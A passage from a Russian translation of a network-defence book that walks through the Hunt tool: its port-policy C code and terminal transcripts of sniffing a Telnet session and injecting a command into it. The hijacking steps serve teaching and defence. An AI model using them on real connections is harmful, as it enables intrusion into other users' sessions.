Читаем Защита от хакеров корпоративных сетей полностью

void add_telnet_rlogin_policy(void)

{

struct add_policy_info *api;

api = malloc(sizeof(struct add_policy_info));

assert(api);

memset(api, 0, sizeof(sizeof(struct add_policy_info)));

api->src_addr = 0;

api->src_mask = 0;

api->dst_addr = 0;

api->dst_mask = 0;

api->src_ports[0] = 0;

api->dst_ports[0] = htons(23);

api->dst_ports[1] = htons(513);

api->dst_ports[2] = 0;

list_push(&l_add_policy, api);

};

Из исходного текста функции видно, что для добавления новых возможностей достаточно просто добавить новые номера портов и затем перекомпилировать программу. Когда программа Hunt захватывает Telnet– или rlogin-соединение, она отображает его в меню списка соединений, как показано ниже:

-> l

0) 10.0.1.1 [3014] —> 130.212.2.65 [23]

– Main Menu – rcvpkt 2664, free/alloc 63/64 –

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

Первые две строчки – это то, что нас интересует. Программа Hunt часто обновляет меню сразу после введенной команды. Из приведенной экранной формы видно, что программа Hunt обнаружила Telnet-соединение. Ниже показан вызов режима наблюдения (снифинга) за соединением.

-> w

0) 10.0.1.1 [3014] —> 130.212.2.65 [23]

choose conn> 0

dump [s]rc/[d]st/[b]oth [b]> [cr]

print src/dst same characters y/n [n]> [cr]

CTRL-C to break

llss

!»FF>»b

»»<82> <82>

<82>

<82><82><82><82><82>!

Apps/ Library/ Mailboxes/ Makefile

bookmarks.html

dead.letter mail/ proj1.c public_html/

!»»b

!futon>

”<82> <82>

<82>

<82><82><82><82><82>

Например, пользователь программы Hunt запустил программу, захватил Telnet-соединение, выбрал режим наблюдения за ним, а затем перешел в Telnet-окно и набрал команду «ls». Команду «ls» (показанную как llss) можно увидеть ближе к началу приведенного выше протокола работы, за которой следует вывод данных в шестнадцатеричном формате, за которыми следуют файлы в директории пользователя, а затем опять шестнадцатеричный код. Вывод введенной команды «ls» в виде «llss» – результат отображения программой Hunt введенных пользователем символов с добавленным ответом сервера, возвращающего пользователю введенные им же символы. В итоге это выглядит как будто возможность вывода одних и тех же исходных и полученных символов, что работает не вполне корректно. Шестнадцатеричные символы являются форматирующими терминал-символами, которые обычно во время Telnet-сессии остаются за рамками рассмотрения. Конечно, в данном случае нас мало интересуют реализованные в программе Hunt возможности снифинга, хотя это и удобно. Главное – это понять, каким образом программа Hunt используется для перехвата сессий! Именно это демонстрируется ниже:

-> s

0) 10.0.1.1 [3014] –> 130.212.2.65 [23]

choose conn> 0

dump connection y/n [n]> [cr]

Enter the command string you wish executed or [cr]> cd Apps

!cd Apps

futon>

Тем временем вот что было отображено в Telnet-окне пользователя:

futon>

futon> cd Apps

futon>

Выходные данные были отображены на экране точно так же, как если бы они были введены в окне Telnet. Вернемся к программе Hunt:

Enter the command string you wish executed or [cr]> [cr]

[r]eset connection/[s]ynchronize/[n]one [r]> s

user have to type 8 chars and print 0 chars to synchronize

connection

CTRL-C to break

Перейти на страницу:
Нет соединения с сервером, попробуйте зайти чуть позже